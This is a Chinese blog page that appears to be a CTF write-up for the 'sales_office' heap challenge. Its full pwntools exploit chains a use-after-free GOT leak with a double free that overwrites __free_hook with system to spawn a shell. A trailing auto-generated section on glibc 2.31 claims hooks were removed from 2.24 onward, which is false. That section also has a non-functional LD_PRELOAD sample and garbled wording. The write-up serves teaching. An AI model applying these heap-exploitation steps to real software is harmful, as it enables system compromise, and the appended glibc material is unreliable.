(uaf/double free)2020安恒杯4月赛sales_office

本文详细解析了UAF(Use After Free)与DoubleFree漏洞的原理及利用方法,通过IDA分析工具,展示了如何利用这些漏洞进行任意地址读写,最终实现系统权限的获取。文章还提供了具体的exp代码实例,帮助读者深入理解漏洞利用的技术细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

基本信息

	Arch:     amd64-64-little
	RELRO:    Partial RELRO
	Stack:    Canary found
	NX:       NX enabled
	PIE:      No PIE (0x400000)
	dynamically
	18.04

IDA分析

add

在这里插入图片描述

show

在这里插入图片描述

free

在这里插入图片描述

思路
  1. 申请的chunk最大为0x60 存在uaf和double free
  2. 利用uaf没有将ptr置为NULL。修改fd指向got,然后得到libc_base
  3. 修改free_hook为system然后free 触发!

exp图

在这里插入图片描述

exp

#coding: utf-8
from pwn import *
context.log_level = 'debug'
local =1
if local:
    p = process("./sales_office")
    elf = ELF("./sales_office")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    p = remote()
    elf = ELF("")
    libc = elf.libc

def add(size,content):
    p.sendlineafter("choice:","1")
    p.sendlineafter("size of your house:",str(size))
    p.sendlineafter("please decorate your house:",content)

def show(index):
    p.sendlineafter("choice:","3")
    p.sendlineafter("index:\n",str(index))
def free(index): 
    p.sendlineafter("choice:","4")
    p.sendlineafter("index:\n",str(index))

def debug():
    print("[+]----pid%s"%proc.pidof(p)) 
    pause()    
lg=lambda address,data:log.success('[+]---->%s: '%(address)+hex(data))

def pwn():
    #-----uaf fd
    add(0x20,"a"*0x10) #0
    add(0x20,"b"*0x10) #1
    add(0x20,"/bin/sh\x00") #2
    
    free(1)
    free(0)
    add(8,p64(elf.got['puts'])) #3
    show(1)
    p.recvuntil("house:\n")
    libc_base = u64(p.recv(6).ljust(8,"\x00"))-0x809c0
    lg("libc_base",libc_base)
    #-----
    free_hook = libc_base+libc.sym['__free_hook']
    system_addr = libc_base +libc.sym['system']
    lg("free_hook",free_hook)
    #-----double free
    free(3)
    free(3)
    add(0x8,p64(free_hook))
    add(0x20,"p"*0x10)
    add(0x8,p64(system_addr))

    free(2)
    #debug()

    p.interactive()

if __name__ == "__main__":
    pwn()

知识点

uaf 利用特性:没有清空指针,如何可以修改fd指针可以达到任意地址读写的操作
double free特性: 能对同一个chunk free两次,结合uaf修改可以任意读写
#-----问题1
Cannot get main_arena's symbol address. Make sure you install libc debug file (libc6-dbg & libc6-dbg:i386 for debian package).
can't find heap info
#-----解决1
apt-get install lib32z1 lib32ncurses5
apt-get install lib32stdc++6
### 关于 UAF 2.31 的 Free Hook 下载及相关资源 在讨论 glibc 版本 2.31 中的 Use-After-Free (UAF) 漏洞利用时,需注意该版本引入了许多全机制来防止此类漏洞被滥用。具体到 `free` 函数挂钩(hook),glibc 提供了一个名为 `__malloc_hook` `__free_hook` 的功能接口[^2]。这些钩子允许开发者自定义内存分配释放的行为。 然而,在现代 Linux 系统中,尤其是 glibc 2.24 及以上版本,官方已经移除了对传统 malloc/free 钩子的支持,转而推荐使用更全的方式实现类似的功能,例如通过 LD_PRELOAD 加载共享库文件[^3]。因此,如果目标环境运行的是 glibc 2.31,则无法直接依赖传统的 `__free_hook` 方法。 对于寻找与 UAF 利用相关的工具或插件,建议关注以下方向: #### 使用 LD_PRELOAD 实现 Custom Hooks 可以通过编写一个简单的 C 文件并编译成 `.so` 动态链接库的形式加载至目标进程中。下面是一个基本示例代码片段展示如何重写 `free()` 行为: ```c #include <stdio.h> #include <dlfcn.h> void (*original_free)(void*) = NULL; // 自定义 free 函数逻辑 void custom_free(void* ptr){ printf("Custom free called on %p\n",ptr); if(!original_free){ original_free=dlsym(RTLD_NEXT,"free"); } original_free(ptr); } // 替代默认的 free() #define free custom_free ``` 将上述代码保存为 `custom_hooks.c` 并执行如下命令构建动态库: ```bash gcc -shared -o custom_hooks.so -fPIC custom_hooks.c -ldl ``` 之后可通过设置环境变量让指定程序加载此 so 文件: ```bash export LD_PRELOAD=./custom_hooks.so ./vulnerable_program ``` 这种方法不仅适用于研究学习目的下的调试分析,也广泛应用于实际开发中的性能优化或者日志记录等方面[^4]。 #### 工具推荐 一些开源项目专注于逆向工程、二进制漏洞挖掘以及自动化脚本生成等领域,可能间接帮助理解甚至实践某些特定条件下的 double-free 或 use-after-free 攻击手法。以下是几个值得探索的方向: - **ROPgadget**: 辅助查找 ROP 链所需 gadget。 - **pwntools**: Python 库形式提供多种 pwn 技巧封装支持。 - **angr**: 符号执行框架可用于路径约束求解等复杂场景模拟验证工作。 请注意合法合规地开展任何网络全活动至关重要,未经授权擅自测试他人系统属于违法行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值